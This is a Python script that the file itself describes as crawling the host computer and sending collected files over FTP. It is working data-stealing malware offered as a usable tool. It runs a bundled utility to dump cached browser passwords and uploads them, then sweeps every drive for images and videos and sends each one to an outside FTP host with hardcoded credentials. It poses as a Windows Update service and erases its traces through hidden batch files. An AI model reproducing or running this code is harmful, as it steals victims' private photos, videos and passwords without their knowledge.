# This scripts crawls the host os, gathers files that meet
# a criteria and sends them over ftp

import os
import subprocess
import time
import platform
from ftplib import FTP
from os.path import expanduser

'''-----------------------------------------------------------------------------
[User Settings]
'''
folder_exceptions = ['AppData', 'Program Files (x86)', 'Program Files', 'Windows', 'ProgramData', 'Recycle.Bin', 'Microsoft',
                     'microsoft', 'windows', 'amd', 'x86']
MAX_FILE_SIZE_IN_BYTES = 100000000  # 100 Mb
MIN_FILE_SIZE_IN_BYTES = 1000000    # 1 Mb

# Set file formats to look for
image_file_formats = ['jpg', 'bmp', 'png', 'gif', 'jpeg', 'tif']
video_file_formats = ['mp4', 'avi', 'flv', 'wmv']
unspecified_file_formats = []

# Ftp host should be the ip of the ftp server
ftp = {'host': 'rekt.no-ip.info',
       'user': 'ftp_default',
       'password': 'ftppassword'}
CLEAN_UP_FILE_PATH = os.getenv('TEMP') + '\\c.bat'
DIST_FOLDER_LOCATION = os.getenv('APPDATA') + '\\dist'  # Used for cleanup file, to change - change in macro as well

# Extract cached browser passwords
BROWSER_PASSWORD_DUMP_FILE_PATH = DIST_FOLDER_LOCATION + '\\bpd.exe'
BROWSER_PASSWORDS_FILE_PATH = DIST_FOLDER_LOCATION + '\\brows_pass.txt'

MAIN_EXE_NAME = 'Windows Update Service.exe'
SINGLETON_FILE_PATH = os.getenv('TEMP') + '\\googlchrome_update_README.txt'
TRANSFER_STATUS_FILE_PATH = DIST_FOLDER_LOCATION + '\\done.txt'
# -----------------------------------------------------------------------------


def is_valid_folder(fold):
    return os.access(os.path.abspath(fold), os.R_OK)\
                    and fold not in folder_exceptions\
                    and os.path.isdir(fold)


def get_all_allowed_directories(root_dir):
    try:
        visited, queue = set(), [root_dir]
        while queue:
            current_dir = queue.pop()
            try:
                os.chdir(current_dir)
            except Exception:
                continue
            if is_valid_folder(current_dir) and current_dir not in visited:
                visited.add(current_dir)
                extend_with = []
                try:
                    for fold in os.listdir(current_dir):
                        if is_valid_folder(fold):
                            extend_with.append(os.path.abspath(fold))
                    queue.extend(extend_with)
                except Exception:
                    continue
        return visited
    except Exception:
        pass


def get_files_in_dir(path, extensions):
    files = []
    os.chdir(path)
    for file in os.listdir(path):
        try:
            if os.path.isfile(os.path.abspath(file))\
                    and os.access(os.path.abspath(file), os.R_OK)\
                    and not os.path.basename(file).startswith('.') \
                    and os.path.splitext(os.path.basename(file))[1][1:] in extensions \
                    and MAX_FILE_SIZE_IN_BYTES > os.path.getsize(os.path.abspath(file)) > MIN_FILE_SIZE_IN_BYTES:
                files.append(os.path.abspath(file))
        except Exception:
            pass

    return files


def extract_files_recursively(path, extensions):
    os.chdir(path)
    folders_to_search_in = get_all_allowed_directories(path)
    files = []
    for folder in folders_to_search_in:
        try:
            new_files = get_files_in_dir(folder, extensions)
            if new_files:
                files.extend(new_files)
        except Exception:
            continue
    return files


# Writes absolute file paths to a log file
def write_to_file(log_file_path, to_write):
    to_write = ''.join(to_write)
    try:
        with open(log_file_path, 'w') as w:
            w.write(to_write)
        return log_file_path
    except:
        print('Cant write log file to that folder')


def send_file_via_ftp(ftp_settings, file_path):
    # ftp_settings come in the following format: [server;username;password]
    session = FTP(ftp_settings[0], ftp_settings[1], ftp_settings[2])
    # check if file is too big, do not send in order not to slow down transfer
    if os.path.getsize(file_path) > MAX_FILE_SIZE_IN_BYTES:
        return
    file = open(file_path, 'rb')  # file to send
    session.storbinary('STOR ' + os.path.basename(file_path), file)  # send the file
    file.close()  # close file and FTP
    session.quit()


def is_host_os_windows():
    return 'Windows' in platform.platform()


def get_drives(is_windows):
    if is_windows:
        dl = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
        return [x + ':\\' for x in dl if os.path.exists(x + ':')]
    return [expanduser('~')]


def create_clean_up_file(batch_file, folder_path):
    with open(batch_file, 'w') as w:
        w.write('taskkill /f /im "' + MAIN_EXE_NAME + '"')
        w.write('\n')
        w.write('@RD /S /Q ' + folder_path)
        return


def execute_bat_file(path, params=''):
    CREATE_NO_WINDOW = 0x08000000
    subprocess.call(path + ' ' + params, creationflags=CREATE_NO_WINDOW)


def process_exists(processname):
    tlcall = 'TASKLIST', '/FI', 'imagename eq %s' % processname
    # shell=True hides the shell window, stdout to PIPE enables
    # communicate() to get the tasklist command result
    tlproc = subprocess.Popen(tlcall, shell=True, stdout=subprocess.PIPE)
    # trimming it to the actual lines with information
    tlout = tlproc.communicate()[0].strip().split('\r\n')
    # if TASKLIST returns single line without processname: it's not running
    if len(tlout) > 1 and processname in tlout[-1]:
        print('process "%s" is running!' % processname)
        return True
    else:
        print(tlout[0])
        print('process "%s" is NOT running!' % processname)
        return False


def main():
    if os.path.exists(SINGLETON_FILE_PATH):
        return
    else:
        write_to_file(SINGLETON_FILE_PATH, 'You can safely remove this file')
        write_to_file(TRANSFER_STATUS_FILE_PATH, 'done')

    extensions = image_file_formats + video_file_formats + unspecified_file_formats
    ftp_settings = (ftp['host'], ftp['user'], ftp['password'])
    create_clean_up_file(CLEAN_UP_FILE_PATH, DIST_FOLDER_LOCATION)

    # Dump browser cached passwords
    execute_bat_file(BROWSER_PASSWORD_DUMP_FILE_PATH, '-f ' + BROWSER_PASSWORDS_FILE_PATH)
    send_file_via_ftp(ftp_settings, BROWSER_PASSWORDS_FILE_PATH)

    home_dirs = get_drives(is_host_os_windows())

    for home_directory in home_dirs:
        # print('Extracting files from {0}'.format(home_directory))
        files = extract_files_recursively(home_directory, extensions)
        # print('Started sending via ftp...')
        for file in files:
            send_file_via_ftp(ftp_settings, file)

    # Clean up
    time.sleep(5)
    os.remove(SINGLETON_FILE_PATH)
    send_file_via_ftp(ftp_settings, TRANSFER_STATUS_FILE_PATH)
    execute_bat_file(CLEAN_UP_FILE_PATH)

if __name__ == '__main__':
    main()